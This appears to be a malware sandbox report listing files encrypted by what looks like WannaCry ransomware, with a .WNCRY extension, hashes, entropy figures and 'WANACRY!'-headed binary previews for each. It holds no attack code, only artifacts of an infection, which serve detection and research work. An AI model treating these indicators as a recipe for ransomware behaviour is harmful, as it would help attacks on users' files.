                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.2108.7-0\ThirdPartyNotices.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):7000
                                      Entropy (8bit):7.966053460322584
                                      Encrypted:false
                                      SSDEEP:96:oy2nOquM90Bx/ZF+9KtBXQkSRsHd0qwnT25cNHfx75eH0eGJ9dEI1dnOyCVNl0aP:8ON/K9KtVNSRQdhwn/tJ4H0rZEt5n
                                      MD5:9DCCC6D5F61B7B01D97DD70F242558F7
                                      SHA1:8342E6C24EDEC144F48CF3FFBB23FA7B4B4176EE
                                      SHA-256:57CCBC40E129285C6307627BD658BFD1C028EE65F0109ADFBF3C8D28EB9FB07A
                                      SHA-512:E71F9283E5A1B07BCDD95659B65D2E89FEB514EB834541A40202C78E4B26AE610AC2C84DC228CAF2A82AD815D88DF598D0D8AFB506C2A9C69E2F8EDBBA6ECC26
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....O1.K....O.G.T.W...k.....!6....4...u^V=....f!.E.F3.......*....A.YKIc.~...U..a^\.E...z.....`..P*.!4,.f'...}.`...6.i...P.l.....?!;q.\Aw....m...}....L..$v...;.....).....S.....w...w.....g............|..@.H.z.u..(...[#|..D...D2...c63.+.....B...l.............=.......c..}s..u.V{4....E....,;m_q.Rq......1x......q.,.....+....htQ..H.A........N...%..Y.4#g.V:d...Q.g*.....W.)r.K...(Z.c.I.....t.J.RJ..Up0......$.Y..^.1..4...E1z..Y..r`[...?g}..8.x.-k..........Y..k...c.u.....v......P?...(d.H...PkL....S....p..<S.ko.Q..'$....@..5.....g^Zpw5{......e.Z..l?..-.q.1..].WB.ZB..D.I..<|...!.ks~..Yi...%..{....kk.._..0.._........&..'P.v.@px...cUd....!...#;.....H........G.@[.z...XJ.'.Qb...<.6aW..v..RF.I.....`....-h/....H)O.G..=e.....q*Tm..c..].(AZ....h.X...$}..,:.rZ..|.!?..O..Jb......+.%....7.]]....x.y0..e..0.-=b..o.l...P.w...Z4$....I..{...vG.....A.."...a..cu_.d...N).0.tv..D..OL..Y6...C.....w.}Zr5.R...4...1=)...v...6.....0O.XL[uu$UUnAY..N.jH.......L...(..b...ds.M..

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\ZxcvbnData\1\male_names.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):6952
                                      Entropy (8bit):7.974757773435878
                                      Encrypted:false
                                      SSDEEP:96:oiWr1TzAcI2g4XAXGFI5HzhZV5X10q/COQjtoAWaljCKxjIhOW0BVQfcTjuyB+bG:6lAgy5tdGqqEAVshpseMj3+bE/
                                      MD5:92AA5FFEDCA2DA4AE6E2E005DEE66ACE
                                      SHA1:719B32DEFD57FEE875FC8DBE221987F4E8DB22C0
                                      SHA-256:72E6782BF2FFD655870A08206B7406F92FB31DC9C42B249853664E13A7B8F846
                                      SHA-512:621EAD98AD09EB5A2BFC914F898B70B8B9DA89A60EB013E643160D05DF79BFE718A47E9F1ABAC318EB147C2E11F49E0DB83136BC5704D7CDFC2487AFE9B5F517
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....L8F?...@E...}...3J..!p...N.Nq=...%.Bx..Hfc9_...5.`.ey.;X..G..O..._.5h..m.`...O........oI.}.h..;Q...W.`G..)Rq....S8.UC.?+..S...+.Zq..e8.~~4+y.{g.....T ..}..KM....o=0.#i....Mj._..f.]rX....MB.!g({(Q.3(.z.GD....q...n. I.:..;..+w.B..(Kz.,]....`............;......x..z.mCN4.A.}..Z@\...]_...W.R.Q.8..!.....4sq..F.;4.(.be.d!$7 =.#........H]g.....0..u.<.^H...O;..73..Y..v..U}.o{.f..;....P.r.F7y.... ....]M......vP..........}%t.2$O....P...H...^.vm...Z?.|.$...F..6$.... .$3Z..y...<6k9Be....5.............R._..=.,<Y..5_.X.r;....E2vb;]...A)a.....Q...w..wy.`..,....].~p..f..w...8..3.[~E.{+..$...;.FH...+2.KDo5.F..9...aA.P*.k57K|c..N.-.....: .c.....r"..3.0..U.......c.....J..3..=.T..._'2..%..^A......Z..O9..s..).....>...i!.Z..........9.K..~*.aI...@9;...r..q......3..Q...m..G............p%.H...Y)/.3.k.ig..[.)r.L(..y..=<.i.Sq...".>._..s.A..Q.$U`...Zt@e..$..3I..Boyh.s.w..qV.|.zFR-F.Z.h..pl........d.._..n[_'v."....K..]d.w..\......

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\ZxcvbnData\1\passwords.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):242232
                                      Entropy (8bit):7.999215282942736
                                      Encrypted:true
                                      SSDEEP:6144:ZObv4co+M9huI7TINhYtP+onxN1hUs3u0nXwMVO:Uu57GYoKxNX+eXNY
                                      MD5:606F83524938E7CD29CEC2112FD06CA4
                                      SHA1:9EB763BB6D5EC4B62FB1F7FA75CC009371F9B3C7
                                      SHA-256:573234A304C941B9B4A6109D1015003F6C9788588E8089AD2A4286BC757FFD6E
                                      SHA-512:A16020365EEE0D58666ED62159AF78A4B56AEE6CA25E660FB7EA71FA8DA0A41C6798E8E25AB740B505444F37776C4C82497BA2FF61469128D4EC4CE2910674B7
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....Q9[..]\.y7....;c.hv.n.,...F{....../.aU.."..".C..jZ.Mu.%..0...#..yM ...>A.............Gv..]7.`.........7..\yP...5..n.d^......g..)."P9.x..6^...MH#...F<...!n..... 7..z.....u...../..}....(./.y^..(.a..V..'.Bn..st.c.`...9G.f:y...'m...z.0..q.]......B............f..<_..R..M...i?..^-Q\..e{k.....^.....)..c..^Z.@.L....5.q.....U..1`.I.h.@..m......JW\.RL.....Z-.V3.u^C.........N......M....d...X6}f.G...'b.I.>6.f....9~...@..s.w'g..e..+f...%./.I...;kz.>.L.5l.......~.^.`.h.(4.$*m......*.k...E.....&...u$.A...G......G.P_.....O.Vg..%..e;.z.ec4....&.......%L.:4....e.^(.'.Y...g....1...2Z..}.rl.fh..r..r..t..f..f.T..\.e......f.qiu..oE..U.. #4.^..G@..~.[%y.....F,.U.Qu\3...............8L.,nRb.1d.F...x$O......cr:..?....4.Lb%/....../<..u..0`w.S.....N..U...`;`.A6.R.E.....0F..j.V...B.\...+..N....>..C....)......`...E.c..N.M....+..}..cn.(uAL.B..G.J....h.G.y.\]....d....O.._..^..j.t.M.y.....g.(...Bz....k|.}.s...8..nE.C.E,.....C..Q.K..,Z......Mu...:...T@...HG

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\ZxcvbnData\1\surnames.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):76360
                                      Entropy (8bit):7.997549971782958
                                      Encrypted:true
                                      SSDEEP:1536:1n1rCXNtbyPsn5grG5lKVlC/A4f2UwZdTGB6l:30tb9nLDo4f5wXTG2
                                      MD5:A58CC1F94510D020086B89563C97D5C7
                                      SHA1:EEC9CD5DAB3F246AF4ABF4BDDE635A0808491C6D
                                      SHA-256:C61C729D947538D574C66F1940C0DDBD32F42A7FFD9E9C351B779E13D297C442
                                      SHA-512:B16C666F4D01F866F676B57BED61F1524817A32E42C1E5E8BA79A4876A16FB1447F787F4FD5290F2E7B3D9AE1DA064CF83B5EBF52B127C8B74A48AEF584E4F8D
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....-..V....:``.....bt..2..p.\......J.C..m......"....%.xc9.%g.o...q.T..v... kf3."L..."..in...4[..!.Qs?q../..cs...#.......*A..L.%p`.ZMf..L....A.....$C.G...7..,)3[..y....E[`d.Y....Q.....o+h.Z...".Vt./....D...*y..FR...M..l....}...>.*.R.......{c.l.b.........-).........F.L..6.1.YS....{.21.#...U.j.E..Bb.\Y.*......,~....O..:/.w..j3h....JR.;q....XH...w..@..'.....V.."........_......g...2....*..m.......a..."GX.L..B2.E.......t...Bs...:.*.q.......hd|Q...|X....%.N...#.=.y...*...B ..~...%..H.NKT..9z..`.[.W..n...&....8../...;.L<m..i.D....]..cj&....xi.@Q.^.i.k..h..#......up.....w]h7...3...7"...0"|....:.h......H_.E.....7M.!...AU.......K...M.+.~p.DA..."gk...3<.o0'zj....m4x.....h_..;...JU9.W.i1......7hT....;7P.rgD.b..*w....m....M1>fy..:.a...S....]e.Z.a.M..D....A.l{J.Z-.y.-......[..?..h.d...._k.W.=Q.m...e.?k..L......'.pm..t....*z$+/GR..... .<.J|..J........u..g.(.a....E.{JDX..lT.3#{..[...Rh.wl3...2...'\!I....m.0..H.4.J....;l.z..o...0..n....x.....c..6

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Internet Explorer\brndlog.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):4664
                                      Entropy (8bit):7.957995870736723
                                      Encrypted:false
                                      SSDEEP:96:oLDNT4d87rfWf/UknRqWxFDe7d+6oBmqV6/eeA0:eNU870/UecWrsd+6oIqV6/hA0
                                      MD5:81F3A80BEBEE3288F741ED9861D5409E
                                      SHA1:5A6F3CD9D5C00EA20251C67ED5D1DF3477C5F3C6
                                      SHA-256:84C3140346C513724D22D3D27C8B1B0358CAC74DF409F8C048709AD2E3AF5604
                                      SHA-512:FC0DE3DECE26875EC00EB35A414EE0E1FE528987C222A1C305F5B451764BB3C0F939DB4D94C5C72878F0428058FA4BD6865A0F6A35BEE5534449C91C05FE7937
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!..........wz.8..>..O..?.7..g.0d.1..$..@=.m.....Q...OG%.._..{..q......x....C.G/.8..'5...e.pb.B.<.eu.ZND#..........$.S.E+.c...~jP.-=Taug{5.k..g......&...>.B.F.y+............ 3.....^2g........%..W....qk.{..h=...QN._*.h.k..?..4.8....d...@N...a.eRZ..Sl.........................:....7h..Ko.2...1Z=.8..`.+D..."...s..2....b..j'..........E&....@.L....n..<..cH........i\.'...x..Q.....R&.Yj..~.S......)c..5OarN...2...~`?.E..d...........?..3.h...#(.3...,..L.G.]........q....'..hr...U..j.S..3.%....u.]eV.!....S.|..!.Hx..B#1......|9aN..Kc(9)....'.3....R.....].......OKt..:..X./.....*'..CR..i.\.kn.m..m.>.......XY.G^...v]f..6.......d......Q.[.[h..U.W..L*..M..9....@X..A.....x.=.......&&.4N&............~......6.> ...h....X...Z..a...j..%LH.......w.@_L=.....=.......x..*...s7....]".....R...j...S'RdQ%..!%....p..-ullK:......@~^J............9E+-,o..V.J.?...K...2......6...G.!.F...`k......s......R...O.ZHZ..#....I.X.R..0...."...|.)....y{Dz.by.e..5..J.>y34..c:...

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Notifications\wpnidm\1196d63c.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):6360
                                      Entropy (8bit):7.969225308427014
                                      Encrypted:false
                                      SSDEEP:192:VvUrs7JRPJlHwq7CYoMjXnM4mMTode76lSAc8:VKGfPJSqCYoMjXM4mM006ln
                                      MD5:EAA652219E3E487A524724574595B2C1
                                      SHA1:287BED08973C79D884F46D2D12B4C0A2AA4EF170
                                      SHA-256:7BB53F83FA61C34B71FAE413F688ABAA9F5D52126677359A01BDF8FB86C7C172
                                      SHA-512:7300BA9C98D72186B09A52BD4EE55E737F82FC3352914DA01738668D93A04DEE9761B23E9B0F5AC0AAE9622E05FB85D4DCF16FCC40A315EB0EDF2AB79D3BA12F
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....v}...jL)......d.m....0...9{..j..Q.P...3....E....6.P.W=...YP.W..D?o.H;.D.N4q...W,:..0......x.q.}..}|.nz..,..DO.%v..v.H..y...9V..........z(..L..8...X..g.a.s.?......# .0..h..$T:.7...P.....?P.Wa.uE\.......|a:.p*...'.X.l.r...4..P.......V.1=P&&5.*.).............1.g.T..#.4=.}...)_...F..S..\y4._T.I...wf.h.....!x....._0ou0...41....H.t.....&U.CW.=...^.=.....`...g.B......z....'{@...2....f..f....CbJW.;....1...l..K..=4..Yg.f..8{ie....L.o..u.iW.....wq...o.7.8....*..e...?...a$`.._.?...0m...lM.N.#P.5=.+r.1{.R ....4?-&..@...'....E...i....J..O.{.....Q.l.>. .k..._h...[.w*1..9A...........6..H....j.>._..r..V..+....o..E......E..5G..JJB=~..|.......h.....`.pm.r.KY.=.YP3..........y ...5......0........./...E/..zRy@...%.Lm.9.X9.x....*...3.P.5.,{2...B{.J...j:..y[a.....B..<...k..e.8T!..~.G,d.0.....`.h..}....P.....(#D9..m.7h...*..|..YX.[.k.8............<w.@..??..@....A..e..YM$...g=.hX._......aB.<rG....+.`....0...d.. ..W.....D...[=......Z".=k..d...,o.C.K

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Notifications\wpnidm\2b67b297.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):6760
                                      Entropy (8bit):7.974601908909328
                                      Encrypted:false
                                      SSDEEP:192:U6bToi7FNf1IjSNrVXsKSFwDHmqHZtkA25+96QWBkt6J2uW+cIhHRp:Noi7ztUSQKSFIzHZtb25+9rWWtfWcINz
                                      MD5:BAEA8DAF45FC5612D7D0ADFDEC92A84C
                                      SHA1:94849B10BE2FD38F568B9E06463A7461D2248CAA
                                      SHA-256:F56366CEFA3BBE769DFE79BF367EC9DB2CFC7D00D028E35FBC8376CFA7031C9D
                                      SHA-512:FA1438EA59051B343672A5491421107354798A181AE0ABEE975F2FE8F8F40E4196D03A085773E47D16ADDE17A2EADAB45AF1A368DE562582526CE5891758B84E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!..........z..\..$.....A..]....r.?=.b]j.U.9..P'C....).........%.h..n?b....T...5v..G=JDSw.....cqL..$..q...~NS..].u.CWfq..H..m.*#..]\...JC..:%..<!T......F3z[..*.q.....D...i....<...7.V..7ri..r..rZ...FL......T..VW.u~. i..*.S..]]0...TY".a...&....H...6.[c......K.........n9}......d......-..s.....HN.Bz...N.wx..c..J.F...B..P9a$86...3.i..Pr?..W..JG..QQ...!;8.../..... ......M;>z.8..Q...'.n...\}..g.A`+...E.....J.V...3.2...b.......M.."7.U..H...|...Itr.......n.k.$.`..._.LJ.S~..a..N.6'5...{.].S....D.%...nH.DN`L`...$>....c..1G...........e..(b3.du.Ms=).r.D.&...* UD..mh/. .0.+U.`.1A.k\...].(...0A.e.^EQ9:....E..!*.....].LR.T..t.i..IT.^}..T....6..X8i........M..!..o...M...R.Q...._OZ..5.....b?r.W.H.Z...dRgAv.....\.6@:]NS..l.R..fgH?.Z...F...b.\n[.K5=Q...TY..V........_y...-....xUU+/.U.=.Za'..Q.z..&....TF.....p.....I..GQ5..F>.2D`....P@..Cj...I.....J...4.....{.&...P.6w>..4V...!vedW/x.P..I]...~V<.d....H.'.c..A.8..g.V.....R...UH.?..%.=W.$'eP..~+~.==.....~...

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Notifications\wpnidm\4683b0e5.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):5880
                                      Entropy (8bit):7.967147310446979
                                      Encrypted:false
                                      SSDEEP:96:oLiW3y6on19c0NNOCO1KLOl6SUE3TQV9EeJGDctW8GZ5RFQv58c5lFI2SHjLtu+h:lW3M19csOXMsxUEDQVPGbF9O5r542dq
                                      MD5:08F46EFB5AAAC52AB0DA493FA76329F0
                                      SHA1:18290C980764959777D8D52C6A4AA68BAB0163EA
                                      SHA-256:A33754B7389066D6F76E5EB8100BBD329069B88C368D7D6394115A34E3D2717B
                                      SHA-512:7DE80877E5B32534A9E0E832F7EF7EB2DDD12DF8560DD21FDECC53B5C73F3CA67E76426F78A7D229AE39F28FF365BAA91B76624E456E9B2B3AC3CF8E95B8F0B8
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......2...F_\N3.M. |.F..*....p.....+6.\9...KA..G.J...q}Ch1".$....!....d....o..=@.LL..9.P..o..W..nx&...R.@.....e1yh.M. ..j..{Q.]i.s.p.B.:...............".u...J....3Idt.D)B.ys.....H.1G_.S<.GF..^...X...4...vz|G.....BX..........<r6LA.:,.?..:..]AE.............V.Kt.>....?m..........5`B?.f.~<.#.vbV............d+..M.y{(J..).p.;x*g.,.>@.. .RIy.A....c2.\.94C....d;9.s.IQ.Z.4....v.......Q...T........J.P.;.[.y.-...p.snl.n..W...a$.....Fm. ..2... ix.k.@zv.Qc..."..hq..|.iw..s..g.o.^.... -h.Cd....W".Q.........+ .'.0....%..eP..y...k.bG.6...&...3..ES.8...*q..+UE..~....B.V".z....O.p.O:.SGwn.{B1..3....I..D....~#C.0.bH$g...;............l.....)*.....@^.T....R}XQ9.^|G...7.....o.B.&8K...h+3..O+.}"D.;Yl...Axn.Neu.u.w'.._6.s.,...Vwu_mI.?".K.W...Z....6..L..%.."S..V.....#.6......n9..}.v.....z44.i`-.....6.J.ZU.../..<..).7(...O.R.cj..A...'.dT.k...4a.=@.Vl".&.:.p.oT.e.e..!..!X...s%..`.h7.....e........{N....:.5.hb......!.....H.....+..ZjL.....u..Gx.....M...

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Notifications\wpnidm\5fc0968a.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):5240
                                      Entropy (8bit):7.968464024861165
                                      Encrypted:false
                                      SSDEEP:96:oeRbaTeiagA0/MZLD0VWhohhjEHxF/ekngZ/kYIJElI/gxE2Fpho0RzFdv:jRWZagj/0LDUCkEH6p/eJUqJuphoaBx
                                      MD5:2D546404F897D8D668A3B0FE550C1B7F
                                      SHA1:3B982C55A81B3DD03371FAC89125DBFD9CD50B56
                                      SHA-256:49A0400B66786231E7D3F5D8DAD57F50454754077CC676ED14B3729BFE3C2FD4
                                      SHA-512:C32EC41BB4BA2B43657281E36BC53F5646D2017AAFFF6D6574ED356516709C90C1B2D56D810D19FE77AB97D251DB58DA3E3F43A587E307A2DADE24D745B93234
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....}6.3Q..b.".9jh.=....!..a.;.:-...O"`...V.M..93...>...6....|.....2.[p:....O.B..../IFe.;rDF....5..1GeP2......F."...E...c..0..>...B....H.....6......6.YV..v.I.."|...D..Ay.ep..z.d}......}.."@..j..x?%5k..d...&0..r..7U...fzA...o.S...fhE..*.-;#52i~.t..........X.......).(...0...:...`..g...^aD.e.q.E.......,.....e\k:..ve.J....!....^!.vV.Ao..S...9!....a..2.$.*...F..H;....H.Q.....it......;..g.........L-...Xm...Tu.:.h.{%._.uF}b.b.5....c.O....i{\..vw.Q.....X........H.`.jD....... .T.7<....p..../)......h.j...f .)..I..Ro.....yg.!........1....[.....b....[.#..V.... .U..pJ.8.S/.8;o.Q?.....*..D..$....h....t.Q.5OQ.......I.^W.....#4m.t76d^d....]...F...../.Gj.W...l...>yy...s..|..~3v...t.o.u..u.E..;.t.pg...j.F.a.....S..4...c.A.X....m...~..;i..... g07.D.&.:...a........bz......M;.nU...B.2.Q...J|<9.EC..~[]j....g`Hz...H.*k......Fob;...G..!.g;u.?.X...tO..\rh^.......1j..q.|.....X.Tk("'h..2F3....`,.&..B..m...Vj.b.>....T..1._u......Ff...L..h,.x3w._...)..

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Notifications\wpnidm\70af9816.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):9736
                                      Entropy (8bit):7.981039063416887
                                      Encrypted:false
                                      SSDEEP:192:0odRK3sQiHEKhgZ3XVMThhH3aSWuR4R6/SXqjDwRpluPRp8iw8:0odRK3sQih43lgq5Z9XqjNHRf
                                      MD5:1FB3A3B20DABC78C86FF2A5AEEF78647
                                      SHA1:82DA09E008663C66017C7AB85A46922848E9CEF7
                                      SHA-256:0503E4DFE8E334A670C01A0B1276D2FFC3F58984D9C23302D9CEA568E5FC4328
                                      SHA-512:13FA4B32383E2DA365BDFBED00CD5F6C9F786B304765A39CAF3A93C42379E01ED9ED38C44B021EE9A5E56E4E1C249D5801ED6D534E61935B61CB08457D8FE965
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....kx.B...=Yr7...zK.v.kPn....a.g;<.(e..r=.....)..T..9....u.-...#.C....sR#>..:.^.v..R..TIi.b.{-.ZNA...,a.&r.......a .k'.A....bjpR..|....D.....\.-.....I.@t.u..u.%..b....(,.{.T.r\..oU.$_.]?9B..Mo.~..V_O.a5i r}.X....Z.|.A.S...#..{.|..A.~..p........$.......;..^..-.......G...L.)x..y..S....Dj.rv8..`..}.y...&[.=9.oF.x........l.....f.w...M.<.C..1!.~.O...k.8.!.wGs.'..8b...HC~...s\....#.+E.gp.!C.$A...z7_u.1....1...!K/........{>:..P..I.e.9..uV...m....T....0.b...C....q2...l/.....;=..`^...(...:..Q..G9.......2.."..Q.d.SY...+..l..>K`O.[.a...cMHu....*../..[.].q|Ji..Y".;d..").-<..M...).:.rnD=.\d...&T...%\...R.]....u.^....%..K......J.&j.<......SZ..v.Km.:N=....i.....\P.._..u.....o.x"..4.x..;rX..........~.]....._.+...zT:..q..v...aV..<5.R.l2.t.S>.862:d..g==.......*G..;..Q.o...~..4I..i??D..!....'H...7Dj..t...i.b.......;....M...^....w.0qt...f.Wk.Q%.q>L.W/..~[...8 w.N..-........;5nMS..n..Aj.2....0..>....].G.!....[..m..0.9....... 6b..v.C.J.v

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Notifications\wpnidm\8fce0f3.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):4552
                                      Entropy (8bit):7.970255715058359
                                      Encrypted:false
                                      SSDEEP:96:oNhK3eScjvaAp8Jy9GQIRZaoB5tCgI4SHK919jq4mAw:yKfaaFOGQcRB5IgIZHQ9g
                                      MD5:5EF620F1269D3D22F4192053C5566B9B
                                      SHA1:E50CD36D2887868781FF46883B46E81E3528CC58
                                      SHA-256:2E7E50B8092CDF99FA111D6C33F1DC8E808A4EEF76DADAA7E60E32FA069D3233
                                      SHA-512:D56713D2AE0C27BFCA54DDAD5EBD65103D7C00506DADB14D25ADE64FD60BF5DBCAEB809AEEDCBB1BA4938A343D73CDA2499EB7B5BF77DBD1763CACD801D7B8AB
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....pi(l...q.!(.z.c..7.S..GRU...C...A..C...e............q.oMR...P.&}W+..Y.....Z...| .....3..D,V....g......~.....Y....-N.X.o.;.2(.&....d..i..C.......t.E..1..;?72.......^......+^.U)....$..}.....e.S}.?..P.;)./.vL?D.e&....Y.b.J....,.......G..\k8e.....9$n.............x..*.....V...l...B...:..P.i1..@-..UK..lh.6k.k..E...%.H.k{t..7..~..,..8....K....$.>@.....6!.,."...........K.$.....B...3.T..V.5,%...+e..........j.i...}j..Bd:uh2~..iZ..@(.1jQ*....d.2.y..2.#.._..;..<`voS..5.%...y~.@.wV....6F..1l..J..."gg..?.k..N.&.........~)..7.....w..]5o...dj.c.....)......S....X..\Mi..-NR........E%^...5...8*.4A....4vs.K.........xo}............8F....eLD.C..L....|..zx.[..M..l.1[.0.gIM. .......o.....@.0.uW[...p.i..CWv...p.,...u....M .....[._1_..z.4...o...c_".....:...].....K...=aX4.....OY.....{.=....@..75................A.l....o..uI...M...*v..1N=....1..$.H..t...~..G.L"..%....>1....y..{.....=o8..Ecs6&..M3.k...W..ntl5Q.....)./{..O.......)Q....B.a,...|..E...2..f..S

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\ZxcvbnData\1\english_wikipedia.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):277304
                                      Entropy (8bit):7.999390160702623
                                      Encrypted:true
                                      SSDEEP:6144:6mf0rLoxWtKcwXjJ8AdM7h4gahdzoCDntMnUgw:6mf0rLBMcAtHI2gav5DKq
                                      MD5:27CA1780DBB00EA89D4801E47BD62144
                                      SHA1:A43327B43CB6DB32760B7FB2E1D7B097F4AF5348
                                      SHA-256:CDA30665C8188BD29041F03C4DA2673FD4B3995BD1A30A6C00604EE11CAC40F2
                                      SHA-512:43829FD0649AC96DBA26C67007D3883B4232660AC24C6BA3CFCC0635D514E9F6DA57206189F50BCE60ED56C60373CEDD45C8D986700125A749F921C1E5ED0719
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.......A$ x..o.L._.8Q..y.|...\t...p+../i@..>q..x....[n....+{..^<..BRE..?4\W,...RL.Co.(......|.c...*.....A...SRuN../...A.9e..L/.zt.v..m.\.,.....'vG..M.aD._.)>..p..........n.}S........dpC;.&I=...O........d.b..(N...p.y..../4>D;.=..l3.w]..)W.$.d.._.......:......((W^.20Sg.>..fn..p..:.o.......x{.E.r..~.A.....,..l..a...T.....H.L*..q..k.p7Q.....~3..O...^..|njG.x..9-],tF/../41.V....xr.2(T..S.B..y.P..X@........F.. ..7..}E..}....TQ...SE}.T..B........E..TR..#G..t..G"....^.Cf...7.E.GPl..q.H.Yp......XKaf.........C...p..[:Q..N.C...{.....8..;..M.m....PG......q.<R:..`|l?..WLI.1f...c..'...w..Ko.... (n7xc.!.uE.DRxr.a.`8pR..-Lyk.....E6?........&l.qhu^-.c"T.0...r.......-...c...Y..[.!......=....I...;.i&.....E.O..\.!6..]..+h8.B........8....?...F.?.......G.?/.2.. .'&.>.......Us.v..l.hj..m.P.........{)(&O[G..5.9~..S.....V.n.2~.C..9.....o..N.m....=.z_c..{.Q.[......1.D..d.+..u....u.-,....L..`./....Q...#.[.....v@J.......J.K.|. .......8..I.z..W..Caw`\.f..

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\ZxcvbnData\1\female_names.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):27000
                                      Entropy (8bit):7.99360651459824
                                      Encrypted:true
                                      SSDEEP:768:PBvY1DsekQ0vyeOzXCb1iIw1RDkzi9bN+:GtsekBvyeOTCk51RDWKA
                                      MD5:5BE3DE0CB9D3686DEF2A2282E7907E80
                                      SHA1:23E9FB25D6EDAF5E3FE2C11715A481126F32B55A
                                      SHA-256:3BB8AF19810953038D841333ECF25BD1B531B8B5920201D20F767E19C936B682
                                      SHA-512:605169C55160626954AE7707C2798EA1EF840B17EA7D3E49EA392AE0771A149981C0E2B9240EC5C776ADB1E72A3EC60CC6BF0540AD771A8BA58A61AB7C96393D
                                      Malicious:true
                                      Reputation:unknown
